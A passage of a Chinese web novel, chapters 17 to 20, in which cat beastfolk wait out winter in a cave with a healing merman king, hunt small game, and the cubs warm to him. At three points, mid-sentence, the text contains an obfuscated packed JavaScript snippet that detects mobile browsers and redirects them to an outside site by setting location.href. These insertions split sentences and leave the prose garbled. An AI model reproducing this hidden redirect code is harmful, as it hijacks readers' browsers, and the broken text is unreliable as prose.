一群穴兽,要是人鱼不在,他们睡成那样,不知道要死多少兽人。 白争争心中发寒,唇色微白。 他更为感激地看着烬,也完全将雁说的那乱七八糟的东西抛到脑后。 “谢谢,这次是我们没注意,不会有下次。” 烬看着那双明亮黑润的眼睛,忽然生出摸一摸小猫脑袋的想法。 不过转瞬,王敛了不该有的思绪,只缓缓点头。 他到底不会一直跟这群林猫兽人一起生活,要好好生存下来,还要靠他们自己。 告诉他们,也只是让他们多些警惕。 白争争知晓了情况,当即决定先做点措施。 他们一直待在洞中,平常也少出去。只要野兽不能进洞就算安全。 那一扇草门一扇藤门是挡不住野兽的,好在林子里别的不多,树多。 直接用树弄个厚实点的围挡,将洞门堵起来。 说做就做,幼崽们一时间也跟着忙起来。 …… 转眼木门做好,风他们做的第一把弓箭也好了。 风几个看着那树枝上挂着的扎了十几根箭的兽皮…… 几十米内能将皮毛射穿! 他们当即兴奋得打算多做几把。 冬日就在敲敲打打中,转眼又是一个月过去。 白争争又要出去采些嫩草回来,顺便碰碰运气看能不能遇到角兽,捕一头回来给风他们添补些材料。 走时,他背着箭囊跟弯弓,对幼崽们道:“我走了,关好木门,看好家。” 幼崽啃着鸭蛋,满脸蛋黄碎屑,敷衍地晃了晃爪子。 走到洞口,白争争想起人鱼,又回身交代道:“我们去山旁边的大河边,中午前回来。” 烬用黑曜石刀片勾着木头,闻言点头。 “嗯。” 白争争这才转身,与清跟年离开。 他们走后,洞口的门层层关闭。烬放下手中雕刻还未成型的巴掌大的小木块,抬头看着洞门。 雁蹲在石床边,顺着他目光看去,胡子颤了颤。 哎! 她现在觉得人鱼有那么一点点好了。 可惜争争不开窍。 换做她阿姆,早在一见到她阿父的时候就扑上去亲了他一口。然后他阿父就被他阿姆拉到了屋子里,再然后就有了她。 再看看这两个,雁摇摇头。 不说他阿姆,连他阿爷都比不上。 她阿爷那会儿看上他阿嬷,那是又送花又送肉,一个冬季过去,她阿父都有了! 还有她两个阿叔,两个阿姐,哪个不是几天之内成功。 雁从小听他们说这些,也最喜欢听这些,小小年纪连隔壁部落的事儿都知道不少。 除了长得丑的,没能力的,脾气差的,哪个不是轻轻松松找见伴侣。 再对比一下这俩,雁挥爪叹气外加摇头。 笨蛋! 笨蛋! 换做是她,崽子都有一窝了! 17.第 17 章 大河河面早已经封冻,上面堆着厚厚的积雪。 河边原是一小片湿地,下雪之前还有许多野鸭待在这里。不过雪后就是一片银白。 雪毯覆盖下有很多草茎,是角兽喜欢的。上次他们就是在这里看见的角兽。 不过一路查探着跑来,不说角兽了,连一只活物都没见过。 那雪面平坦得像刮了腻子,不见一个痕迹。 “角兽都是喜欢单独活动,上次是咱们碰了运气,哪里一出来就能遇到。”年手揣在臂弯,头发蓬乱盖住半张脸,身上是厚实臃肿的兽皮衣,宛如一个流浪汉。 清白了他一眼,道:“就你知道。” 白争争见呼出的气成了白茫茫的雾,眉目弯起来,脸颊也泛起红。 “本来就是出来碰碰运气。没有角兽,咱们抓点其他的也成。” “哪里有其他?”年立在雪里转过一圈,雪沫子落进他兽皮靴里,他“嘶嘶”直叫。 白争争盯着雪面,目不转睛。 清耳朵竖起,好像听见了动静,赶紧拉了下年的袖子低声道:“你闭嘴。” 年双手捂嘴,两眼睛睁大。 有情况吗? 清看他傻兮兮的样子,一时间不想跟他说话。 白争争道:“雪下面有长牙兽。” 长牙兽只有拳头大小,喜食植物根茎,爱好打洞。似鼠似兔,圆滚滚的,像个小肉球似的。 有点肉总比没有强,确定了目标,三个兽人分散开,一骨碌变做原型,开始在雪地里扑腾去。 只见那似乎换了厚实皮毛的林猫缓慢行走在雪地中,耳朵像扩开的喇叭,紧对着雪面。 耳朵弹动,确定目标蹬腿儿高高跳起,往雪中一扑,整个身子都栽了进去。 不一会儿,整个河边都是猫爪踩过的痕迹以及扑出来的坑。 白争争抓到两只后穿上兽皮衣,一手一个颠了颠,肉乎乎的,还是很划得来的。 不过他们还是不宜在外太久,差不多一起有个五六只了,白争争赶紧挖了些草茎,叫上两个兽人回去。 “上次只顾着角兽了,还没发现有这个,下次出来就不愁没有抓的。”年笑得露出牙花子。 他双手拎着长牙兽的脚丫子,一手两个。 白争争催促:“赶紧回吧,别冻伤了。” 这个天最多半个月才出来一次,也是为了给幼崽弄点新鲜食物而已,多少都无所谓。 他们要是冻生病了就划不来了。 三个兽人赶着往回走,脚一下一下陷在雪中。离了河边,年忽觉冷意又上来。 他抖了抖兽皮靴,闷着头往前跑。 他在前蹚出一条路来,白争争跟清就跟在他身后。 年见两个兽人在他后面跟了一串儿,有些兴奋地回头:“你们跟着我跑,我带你们抄近……啊——” 话都没说完了,就见他不知撞到了什么,猛地往前扑倒。 清一把拉住他的兽皮衣,将人甩在身后。 年顿时摔坐在雪里,屁股栽坑,手脚还露在雪外面。 白争争看得噗嗤笑开。 “啊!!!清清救命!” “清清!” “争争……” 见没个人理会他,又只好委屈着自己爬起来。 他正要质问清为什么摔他,就听他踢了踢面前的东西,道:“争争,你来看。” 白争争上前,见雪中一堆骸骨堵了路。 他跟清用脚刨了刨雪,随后露出半副角兽的骨架。骨架上还粘连着些碎肉,是血红色的,还算新鲜。 又刨着刨着,将头刨出来。 原来是一只角兽! 白争争戳了戳完好的角,看上面挂着几戳雪白的毛发。又长又密,一时想不出这是什么动物的。 “会不会是烬说的那些穴兽吃的?”清环顾四周,耳朵尖上的聪明毛颤了颤,有些警惕。 白争争捻起那一戳毛放在掌心细看,随即摇头道:“不确定,但这一撮毛肯定不是穴兽的。” “白捡些材料,拿回去吧。” 清拎着脊骨,白争争抬头角兽头,两人将一大副骨架搬离。 年抓住要逃的长牙兽,忙跟上道:“你们等等我啊!” * 洞中。 火光熠熠,温暖但又有些干燥。 没了白争争,幼崽们自发离石床远一点蹲着。 等到人鱼闭上眼睛睡着了,幼崽们才你追我赶,悄悄玩闹着。 跑着跑着,芽一时间没注意方向,闷头往人鱼的尾巴上撞。 幼崽们吓得抽气,顿时抱作一团,往后离了芽三米。 芽被尾巴弹到地上,晕乎乎地爬起来。他两个爪子抱住脑袋,疼得胡子尖直颤。 抬眼见跟前的人鱼尾巴,爪比脑子快,先一步挠了上去。 可那点动静,自己爪子顿时劈了叉,但人鱼尾巴上一点痕迹都没有。 待收回爪,芽后知后觉,背脊一弓,飞速蹿到了离石床最远的洞门边躲在柴堆里。 幼崽们左右看看,屏住呼吸。 发现人鱼没有动静,才齐齐吁了一口气。 吓死猫了! 芽一屁股坐在地上,随后被风拎起来,敲得脑门嘣的一声响。 “胆子大了。” 芽夹着尾巴,不敢说话。 他动了动爪子,无辜道:“我、我就是试一试他尾巴干不干。” “是吗?”风将他放下。 芽连连点头,乖巧得很。 “是!他今天都没敷尾巴,很干很干了。” 风:“那也不是你的活儿。” “哦……” “那你去?”芽怂恿。 “争争回来再说。”风弹了下他脑门。 别以为他不知道幼崽打什么主意。 风这边才放下猫崽,就见手脚快的已经勾了人鱼敷尾巴的兽皮扔水里,然后拖拽着往人鱼身边挪动。 他惊得汗毛耸立。 未来及将幼崽抓回来,就看他啪的一下—— 湿漉漉还在滴水的兽皮往人鱼方向甩去。 又一声,幼崽们纷纷爪子捂眼。隔着缝隙就见兽皮落在了人鱼……手上? 烬坐起,眼神锐寒。 那眼睛幽暗如深海,红光闪过,像杀了好多猫崽子才换来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188879|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的凶恶气息。 一群幼崽看得清清楚楚。 那瞬间,骨头似乎都在战栗。 他们身体僵直,说不出话,也不敢走动一步。甚至更胆小的爪子抓地,尾巴上的毛根根扬起。 烬很快意识到不是什么攻击,立即敛了神色。 他看着手上湿漉漉的熟悉兽皮,默默搭在了自己尾巴上,道:“我自己来就好。” 幼崽们咕噜一下,仰起脖子狠狠咽了咽口水。 然后瘫坐在地上,四肢软绵无力。 好、好凶啊! 原来人鱼这么凶…… 呜……争争,你快回来! 这才刚出去,回来倒是不可能回来。 快中午了,幼崽容易饿,新一任幼崽大厨圆已经开始做起饭来。 缩在墙角的幼崽们被她指挥着,排成串儿地用碗运雪,送柴,抓藤筐里那些干货出来…… 圆学着清的样子将各种菜干儿肉干一股脑扔进锅里,在雪中搅拌搅拌,等雪化了,水开了,煮一会儿就可以吃了。 风、羽、桐还在专心致志闷头捉摸着弓箭。 州转个身,见圆又做饭了,起身道:“我帮忙。” 圆挥了挥爪子:“各有各的活儿,你做你的。” 州见状,犹豫着拿起藤条道:“那你小心点。” “知道,我做了好多次了。”圆道。 一锅大杂烩很快做好,卖相一般,口感一般,味道也一般,但能吃。 圆大厨放了盐,嗅了嗅味道,立马挥爪道:“开饭!” 幼崽四散,州立马过来接替打饭的工作。 一个幼崽一勺,顺带给人鱼也来一碗。锅里余下的,就是白争争他们三个的。 州打完汤,将陶锅搬一边放着,免得锅里的汤烧干了。 正回头要吃,却看幼崽们全躲在洞口去了。 那洞门大开,一个个蹲在比他们还高的雪堆前,像灰扑扑的煤球。 还冻得瑟瑟发抖。 州赶紧道:“回来吃。” “凉得快!”幼崽嘴巴硬。 这边的动静吸引了烬,他端着碗侧目看去,一群猫崽子蹲在碗前,吃得鼻涕直流,头上沾雪。 他目光停留在这些幼崽的身上。 渐渐的,幼崽们毛骨悚然,缓缓挤在一起,怯生生地看着烬。 烬收回视线。 他也知道猫崽是怕他,怕吓出个万一,不敢再说话。 可忽的,洞口响起一声响亮的喷嚏声。 州吓了一跳,在猫崽们面前劝,捞上一个刚放回来,下一秒又跑了。 烬叹息。 他道:“进洞吃。” 猫崽们惊得打个嗝,瞪大眼睛傻看着他。 “进洞吃。”烬重复。 幼崽们一点也不敢耽搁,马上推着碗往洞里走。他们蹲在火堆边,假装很忙地样子不停地搓爪子,又小心翼翼看人鱼。 烬与他们大眼瞪小眼。 看着猫崽身躯在轻颤,烬干脆放下碗,闭目不动。 幼崽一看,飞速躲在角落,囫囵进食。 争争,你怎么还不回来呀! 18.第 18 章 似乎应了幼崽们的期盼,门外响动。 白争争几个刚拉开门,幼崽们蜂拥而来。 他们几个手已经冻得青紫,避开幼崽,赶紧扔了骨架跟猎物,往火堆跟前一坐。 幼崽们又呼啦啦调个头,自觉攀上三个兽人的怀里,用温热的毛毛帮他们取暖。 白争争舒服喟叹。 他挠挠幼崽下巴,疑惑:“也没出去多久,怎么这么热情?” 风声音艰涩,不敢说幼崽捣蛋的事,只道:“应该想你们了。” “嗯!想!”幼崽使劲往几个兽人怀里钻。 烬正想交代事实,白争争就对他笑了下道:“我们回来了。” 烬目光定在他脸上。 想罢,只“嗯”一声。 雁撇撇嘴。 见扔在洞口的那些猎物,又兴奋跑去。还围着那一副骨架转了两圈。 没等看完呢,风几个就屁颠屁颠地将角兽连角带骨头拿走了。 “争争,这个是给我们做弓箭的吧。”羽一脸馋样道。 白争争道:“用吧。” 雁蹿上那角兽的大角上,爪子勾下来雪白的长毛。鼻尖动了动,吓得她立即扔了。 “争争,这是哪里来的?” “捡的。”年得意,“还是我踢到的呢。” 白争争道:“多半是其他凶兽吃了的。” 幼崽们眼巴巴瞧着那骨头架子,眼里满是食欲。 角兽啊! 角兽好吃哦。 肉肉吸溜了下口水道:“怎么不是完整一只啊。” 雁学他道:“怎么不是完整一群,杀好了,还煮好了摆在面前呢?” 肉哼声,屁股一撅,赶紧背对雁去。 白争争揉着猫崽身上细软的毛毛,道:“最近外面危险,玩儿也别去门边玩儿。” “我们就只出去了一次!”圆道。 圆蹲在白争争肩膀,爪垫贴着他的脸,湿漉漉的鼻尖戳了下他,冰凉凉的。 白争争看向幼崽。 圆才道:“争争,那我们什么时候能出去玩儿?” 他们从没在山洞里关过这么长的时间,原本部落在的地方根本不会下雪,他们成日里不是在林子里玩儿就是去海边刨沙。 现在可久没出去过,没晒太阳,没洗澡,毛毛都要臭了。 白争争:“那也得等到开春。” “那什么时候开春?”几个兽人膝盖上蹲着的幼崽纷纷仰头看来。 白争争:“我也是第一次来,不知道。” “哎!” “哎!!!” 白争争无奈:“你们别哎了,那我也没办法呀。” “那争争,我们会一直住在这里吗?我们什么时候回部落?”圆又问。 白争争目光暗下来,轻声道:“不会,会回去的。” 在火堆前坐了一会儿,白争争身躯回暖,手指逐渐由紫变红。 扔在地上的长牙兽还要处理,他捡起小兽拿了刀子就去洞口。 清则看了眼陶锅里剩下的一点汤,端起锅放在灶上。 白争争一走,幼崽们当即紧跟他后面,时不时还紧张地回头看。 白争争这下真奇怪了,他道:“今天的幼崽怎么这么粘人?” 清皱眉看着地上这些过分紧张的幼崽,揣测道:“兴许是穴兽的事儿吓到了。” 幼崽们点着脑袋瓜子,一边往白争争的身上爬。 白争争逮住猫崽后颈,放在门后道:“去火堆边坐着,别乱跑。” 幼崽试图挤着门缝跟出去,被白争争一下关在了洞中。 雁蹲在火堆搓着被冻住的爪垫,一本正经道:“你们怕什么,争争不是回来了?” “哎呀,你小声一点!”芽试图捂嘴,被雁爪子抵住脑袋,爪子没伸过去。 雁:“我又不怕。他又没对你们做什么。” 芽:“可是你没看到他的眼睛吗?” “看到了又怎么样?” “人鱼伤害过我们吗?穴兽过来,还是人鱼帮了咱们呢。”雁舔舔自己的爪子,不愿意看幼崽畏畏缩缩的胆小样子。 大伙儿被他这么一说,将信将疑。 不过小崽子忘性大,怕着怕着,见人鱼不动,又闹腾起来。 他们刚吃饱,在洞中爬上爬下。 不知哪个调皮捣蛋的爬上柴堆,忽然踩滑了几根棍子,顿时一阵噼里啪啦的响动,柴堆直接塌下来一角。 那声音极大,吓得幼崽们缩头缩脑。 大家不约而同地看向那石床上的人鱼。 人鱼醒着,但他却既不看他们,也不出声,一点反应都没有。 兽人们再定睛一看。 绒球那小崽子已经爬到人鱼身上了!!! 绒球蹲坐在烬尾巴上覆盖的兽皮上。 幼崽一直对人鱼很好奇。 但幼崽不傻,他看人鱼醒了这么多天了也没有做什么伤害他们的事情,胆子就更大了。 他看着人鱼,人鱼目光也虚罩着他。 烬好奇这小幼崽要干什么,就见他抬起爪垫往兽皮上拍。但没蹲稳,脑袋太重了,一下扑倒隔着兽皮撞在他尾巴上。 烬下意识伸出手去,靠近幼崽脑袋。 其余幼崽倒吸一口凉气。 这、这是要把绒球的脖子拧断! 大家伙儿争相往绒球身边跑。 绒球却将小爪子按在烬伸过来的手指上,吭哧吭哧撑着自己坐起来。 “尾巴可以变成腿吗?”他专注看着人鱼。 烬平静点头。 绒球又奶声问:“怎么变?我可以看看……唔?” 扑上来的幼崽们捂住绒球的嘴,颤颤巍巍冲着烬笑。 “幼崽、幼崽不懂事。” 烬看着绒球。 隔着各个爪垫的缝隙,明显能看到小不点眼里的渴求。 烬便道:“尾上有伤,变了伤会加重。” 幼崽们一脸神奇地看着他,连扛着绒球跑都忘了。 白争争进来就看到幼崽们铺在人鱼的身边,他又是一阵迷惑: 幼崽们什么时候跟烬关系这么好了? 之前不还怕的吗? 他出去这一阵子到底发生什么事了? 圆坐在石床边缘,仰头看着这条人鱼。随即对还铺在那大尾巴上的幼崽道:“过来!” 幼崽顿时爬起来,飞快离开人鱼。 再一次,幼崽们一圈一圈围了起来。 白争争捧着热汤,与清坐在火堆旁边喝边看着又在嘀咕的幼崽。 “小小年纪,哪有那么多小秘密。” 清微微一笑:“他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15197059|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们主意大着呢。” 幼崽堆里,雁被圆拉过去,在最里层坐着。 圆道:“雁,我怎么觉得人鱼好像不怎么坏呢?” 雁一脸高深道:“他在我这里已经通过了观察。” “为什么?”幼崽们凑近。 雁摇头:“你们不懂……” “那我们是不是应该接纳他?”圆看向其他幼崽。 “我们刚刚压他尾巴了他都没生气。” “对!绒问他尾巴的事,他也说了。” “我们闹的时候,他也没生气……” 一一细数过来,幼崽们愈发觉得好像没必要怕人鱼。不、不就是一个眼神吗,他们也会做! 白争争等着幼崽散开,道:“你们不睡午觉了?” “睡!”幼崽们接二连三地往石床爬。 看到人鱼一顿,但却没像往常一样就呆在石床下,等着清几个过来,而是继续往上爬。 白争争看得稀奇。 他问烬:“你收买他们了?” 烬摇头。 收买没有,吓到了他们了却是真的。 烬在王城里时,也少有人鱼幼崽与他亲近,多半都是见了他就躲。他也不知道该怎么与幼崽相处。 洞中不同于王城里的城堡,空间大,他一个人住。山洞狭窄,他只能尽可能地降低存在感,让幼崽自在一点。 虽然不知道他们为什么转变了态度,但也让烬心里轻松一些。 长时间不动,他身子僵得有些难受。 白争争抿了一口汤,看幼崽已经全部钻进兽皮底下。床沿连一个尾巴都没露出来。 难不成真的转性了? * 门缝光影昏暗,幼崽们睡了一下午。 这期间,白争争将处理好的长牙兽收拾干净,六块小小的皮毛也鞣制好。 长牙兽看着小,但肉肥。 放上香草腌制着,然后串起来,一见幼崽醒了,白争争就开始放火上烤。 不一会儿,那肉上滋滋冒油。 幼崽们睡久了还迷糊着,不料被一阵霸道的香味偷袭,脑袋还没清醒,腿儿就自个儿动了。 一个个蓬松的毛团子蹦下石床,屁颠屁颠往白争争跟前凑。 跑得快得直接爬到他膝盖上,占据了最佳观赏位置,吸溜着口水不停扒拉着他的手。 “争争、争争,饿……” 幼崽馋嘴,激动得止不住踩爪垫。 白争争道:“还没烤好。” “烤好了烤好了。”幼崽忙不迭道。 白争争弯眼:“你们说烤好了就烤好了,里面还是生的呢。我先说好,只抓到六只长牙兽,一个幼崽只能吃一点。” “我能吃一只!”肉满口豪气道。 他挂在白争争的腿上,试图往肉串上探抓。 白争争眼疾手快,一把捏住他小爪子,免了他被烧到毛。 “我还能吃十只呢。”雁咂吧嘴,目光炯炯,矜持地等着。 那不是冬季不好捕猎嘛,不然争争哪里会少了他们的吃的。 白争争烤着烤着,忽然看向人鱼。 还忘了,这个要是吃的话…… 烬像知道白争争想什么,指腹蹭了下手中快要成型的木雕道:“我不是幼崽。” 白争争不好意思笑笑。 19.第 19 章 肉烤好了,幼崽围过来等吃。 虽然每个幼崽只能吃到一店,但烤肉香喷喷的,幼崽们高兴着呢。 “争争,下次还要吃这个!”肉爪子搭在白争争手上,啃着光秃秃的骨架道。 白争争轻弹了下那毛乎乎的小耳朵,“我们再努努力,下次多抓一点。” 给幼崽吃了零嘴,清那边的晚饭也做好了。 吃过饭,便又是一天。 白争争还是照例往床边躺下,但他刚趴好,兽皮底下的幼崽就拱着他道:“争争,你睡里面吧。” 白争争当他们又不想跟人鱼好了,道:“里面不是有年,不怕。” “我们不怕。”芽道。 白争争困乏闭眼:“那就好……” “可是争争,你昨晚踩到我的脑袋了。” “对!我的爪垫也被争争踩了。” “我肚子也疼。” 白争争顿时一愣,他微微抬头,看着眼前一个个凑过来的猫猫头,然后默默将脑袋埋入干草中。 他声音闷闷响起:“我也没吧……会不会是你们记错了。” “我醒了的。” “我看到争争从我们身上爬过去,然后挨到人鱼身边的。” “每晚都这样。” “对!每晚都这样!” 白争争默默用两个爪垫捂住耳朵。 怎么可能! 幼崽将他爪子勾下来,黑黢黢的兽皮底下,双眸亮如灯。“争争,要不你就睡里面吧?” 白争争收回爪子,继续捂耳。 他们在说什么? 他没听见。 烬自然也听到了幼崽毫不避讳的话。 想起每晚坚持睡在外面,第二早上却在自己身边出现的亚兽人,他眼里溢出一点笑。 看来不止他每晚上被弄醒,幼崽也深受其害。 人鱼还在旁边呢,白争争尴尬得想找个地缝钻进去。 他保证道:“我今晚绝对不会再这样。” “可是争争你这样都好久了。”芽像是不懂白争争的尴尬,还扒拉着他,有些苦恼道。 白争争干脆不说话了。 放过他吧,真的! “争争,你说句话呀。” 争争不想说话。 雁一爪子拍在芽的脑门儿:“睡不睡了,争争不是说了。他今晚绝!对!不!会!再!这!样!” 白争争听雁说得这么笃定,更是心虚。 但好在,幼崽没有揪着他不放。 烬默默躺下,闭上眼睛,安静等着。 木柴燃烧一半,树皮底下响起窸窸窣窣的动静。不出意料,亚兽人踩过幼崽们,又靠了过来。 烬下颚贴着细软的绒毛,想到睡觉前亚兽人信誓旦旦的保证,翘了翘嘴角。 不知明早醒来,又是个什么样的景象。 烬安然入睡,好梦一晚。 阳光久违的落入洞中,映得昏暗的洞穴里亮堂堂的。 白争争睡了一个舒坦觉,伸着爪子伸了个懒觉。 爪垫踩着个软乎的东西,触感颇好,又忍不住多踩了两脚。 烬被脸上微刺的疼痛感弄醒,不用想就知道是哪个猫在作怪。 忽觉脸上爪子停下动作,他睁眼,与小猫四目相对。 白争争爪子一颤,这下被逮了个现行。 他笑得尴尬,烬却镇定。 “对、对不起。”亚兽人噌的一下站起来,又被裹在身上的头发绊倒,砸在烬脸上。 烬抬手扶了他一下。 白争争爪子撑着他手心,磕磕绊绊道:“谢、谢谢。” 幸亏毛毛挡着,他耳朵跟脸已经红得不能看了。 手忙脚乱地钻出人鱼头发下,滑下石床,匆匆忙忙往自己兽皮衣底下一钻,直将自己藏得看不见人鱼才作罢。 烬侧过身,刚好能见到石床旁边放着的兽皮衣里鼓起的一团。 小猫只露个白色的尾巴尖,羞得没脸见人。 烬想,或许他该晚一点睁眼。 兽皮底下微动,幼崽们从里面钻出来,看烬盯着床下,也齐齐探头看去。 见那一截尾巴,就知道是白争争。 芽当即控诉:“争争,你昨晚又踩我了。” “争争,你躲着干什么?尾巴还露在外面呢。”雁慢吞吞到。 那尾巴嗖的一下,立即收了回去。 白争争团成个球,暂时不想与兽皮外的世界接触。 这小崽子能不能有点情商,没看他正尴尬呢! 清蹲在一旁,看了看人鱼,又看看白争争那个不敢见人的样子,勾着年下去,准备早饭去了。 争争要躲就让他躲一会儿吧。 反正能躲得了一时,躲不了一世。 幼崽们怎么控诉,白争争都没个反应。渐渐的,他们也失了兴趣,转个头就玩儿其他去了。 烬手肘撑着石床,看在兽皮底下闷了好一会儿的小猫,没忍住,轻轻用手勾了勾兽皮。 “别动!”兽皮底下呜咽出声。 烬叹息。 “又没让你不睡。” 白争争一愣。 他还以为是幼崽,没想到是烬。 “出来吧。” 白争争顿了一下,缓慢地从兽皮里拱出来。他脑袋毛凌乱,一个耳朵被压在兽皮底下,一个耳朵露出来。 烬看着动了动手指,没有伸手。 “对、对不起……我也不知道为什么,明明都睡外面了……” 可是烬身上就跟装了磁铁似的,每晚都能将他吸过去。 白争争不自在地低着头。 虽然睡着很、很舒服,但是他没有边界感。 小猫很小,像绒绒的一个球。 很乖。 烬很早以前就像摸一摸他的脑袋,但碍于两人不熟悉,下不去手。 现在看小猫这个沮丧样,没忍住,掌心落在他头顶。 两人皆是一怔。 烬看着那双黑色的眼睛,手动了动,缓慢收回手。 “我并没有觉得有什么不好,你习惯了,其实我也习惯了。” 王很少表露自己的内心,但对亚兽人,似乎开口也不是那么难。 而且作为一个长者,还是被亚兽人救了一条命的,他似乎也不该吝啬自己的话语。 至少能让他好受一点。 小猫端坐地面,头上毛毛被捋顺了些。他尾巴落在爪前,仰头还盯着人鱼。 人鱼说他习惯了。 小猫耳朵颤动,毛毛地下的皮肤又渐渐变成了红色。 但这次不是丢脸。 他不好意思地动动爪子,又看到人鱼包容的眼神,忙道:“我、我去忙去了。” 烬点头,看小猫拱着兽皮衣跑了。 也刚成年,在王眼里也还是个小孩呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200729|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 早晨吃过饭,兽人们该干活的干活,该玩儿的玩儿。 白争争好歹从那尴尬的情况中缓和了过来,只现在还有点不敢看人鱼的眼睛。 冬季漫长而寒冷,在兽人们的努力下,洞中的工具也渐渐多了不少。 石刀、石斧已经做了几把,藤编工具也有了几样,再有长矛、草绳、骨针,但凡缺的,都补足了。 林猫兽人住在海边,也会在海中捕鱼。 织渔网是每个林猫从小都学习的技能。 白争争为了让幼崽们打发时间,去弄了不少毛草回来,给幼崽们随意摆弄。 这样一日,便又过去了。 晚间睡前,幼崽们早早爬上石床。人鱼仍在里侧,但他们却不怎么怕了。 白争争刻意等了一会儿,原想等着幼崽睡着了再上去,免得他们又当着人鱼的面抱怨。 却不想幼崽半点不给他面子,直接道:“争争,你别睡外面了好不好?” 白争争:“……” 不孝子! “争争,你听见了吗?”幼崽声音含糊。 都快睡着了还记得这事儿,说明这事儿确实给他们造成了困扰。 白争争颓然叹气。 “听见了听见了。” 脸都丢尽了。 刚答应下来,幼崽就没声了。 白争争看着人鱼。 烬本来打算闭眼,毕竟亚兽人脸皮薄。但没来得及,正正好与他对上。 白争争不好意思,干脆滚做个猫。 反正脸上有毛,人鱼又看不出他什么表情。 他跳上石床,在石床边沿脚像被定住。 要不……趴下算了? 可跟前忽然伸过来一只手。 白争争顺着手看去。 “过来吗?”烬缓声道。 白争争狠狠挠了挠干草,自暴自弃,脑袋往他掌心一栽,蜷缩成个球不动了。 烬将他带到自己这边,将他放在自己身侧。 这期间白争争一直没抬过头。 烬收回手,摩挲着掌心残留的温热,缓缓闭眼。 他给了亚兽人一个台阶下,他应该不会太过难受。 烬这样想,却慢慢等着。等到一旁的幼崽不知换了多少个姿势,才等来肩上的一抹柔软。 那一瞬间,他自己都不知道绷紧的眉头舒展开来。 或许是自然地侧了一下头,烬鼻尖挨着暖绒的毛,沉睡过去。 总归是习惯了,挨在一起才觉得睡得才能舒坦。 * 天光明亮,却好像更冷了些。 地上厚厚的积雪化了一半,树枝上都能看到冒出来的新芽。 似乎已经是冬末了。 烬身上的伤完全好透,疤痕消散,鱼尾透着潋滟的华光。 洞中,兽人们都紧张地看着他。 白争争削了根木头当拐杖,放在人鱼跟前道:“你撑着这个,慢慢来。” 烬此时坐在床沿,鱼尾已经变作腿。 他腰间围着兽皮,长发及腰,浓密丝滑挡住大半身躯。 他其实已经能下地走了,但兽人们紧张他,他也接受他们的好意。 烬杵着拐,缓缓站起。 白争争就立在他跟前,默默看着人鱼越来越高。直到比他高了一个脑袋。 他微微眨眼。 得有一米九了吧。 20.第 20 章 看惯了烬坐在床上,现在一站起来,反而有些不适应。 白争争眼也不眨地盯着烬看。 烬镇定自若。 幼崽们围在旁边,奇怪两人怎么一动也不动。 雁往前一趴,下巴搭在圆的脑袋上,小小声道:“看吧,争争又看入迷了。” 圆:“人鱼好看。”她说实话。 雁哼哼:“明明咱们争争才是最好看的。” 清就坐在幼崽堆里,听到他俩嘀咕忍不住轻咳了声。 白争争还没领会。 烬侧脸看着亚兽人。 他微仰着,完整露出白净的脸。 脸色微红,眼睫细密像丛丛深草。眼睛干净明亮,映着自己。 烬目光平静,但细看却有一丝柔软。 清又重重咳了一声。 白争争这才疑惑转头来问:“清,你怎么咳嗽了?” 清一本正经道:“喉咙痒痒。” “哦,那待会儿熬点草药,喝了预防一下。” “嗯。”清示意他还扶着人鱼,“试一下吧。” 都傻站这么久了,幼崽都看出不对劲儿。 白争争后知后觉,不好意思挠了挠脸。 “你能行吗?”白争争有些脸热道。 “嗯。” 这尾巴骨还是他接的呢,万一没接好,就是个跛脚。 他低头紧盯人鱼两双长腿,虽然有点肌肉萎缩,但也耐不住又长又直。 看着骨头应该对准了的。 烬在白争争的搀扶下走了两步,上次那般的宛如踩着尖刀似的疼痛没有了,腿中只有若有似无的酸软感。 “疼不疼?”白争争问。 “不疼。”烬道。 洞中就这么大,也就能走几步。 康复需要循序渐进,白争争只看着他走了个来回,就叫他坐着了。 幼崽们围过来,蹲坐在人鱼腿前。 绒球胆子大,爪子撑在人鱼腿上,还往下压了压。 “不疼?” 烬看着腿上沾的爪印形状的灰尘,摇头。 “好了!”幼崽欢呼,偷偷看烬一眼,又蹦跳着偷着乐。 正高兴着,外面一阵扇风的动静。 像有巨大的鸟类翅膀拍打振出的声音。 白争争一惊。 几个年长兽人赶紧取了武器,走至门口。 开门出去时,风先一步放箭,惊飞了藏在洞口外树上的巨大黑鸟。 那黑鸟全身黑羽,落在树上宛如个带着斗篷的巨人,飞起来时翅膀展开有三四米。利爪、尖喙、锐眼,是食肉性鸟类。 几个兽人立马刹住,飞快冲着黑鸟射击。 但它速度很快,第一支箭头偏了,后头几箭射去居然都没跟上它的速度。 不到片刻,它就变成个黑点,消失在空中。 “那是什么鸟?”风抬手挡在额前,眯眼使劲儿看着,“这么肥,肯定好吃。” 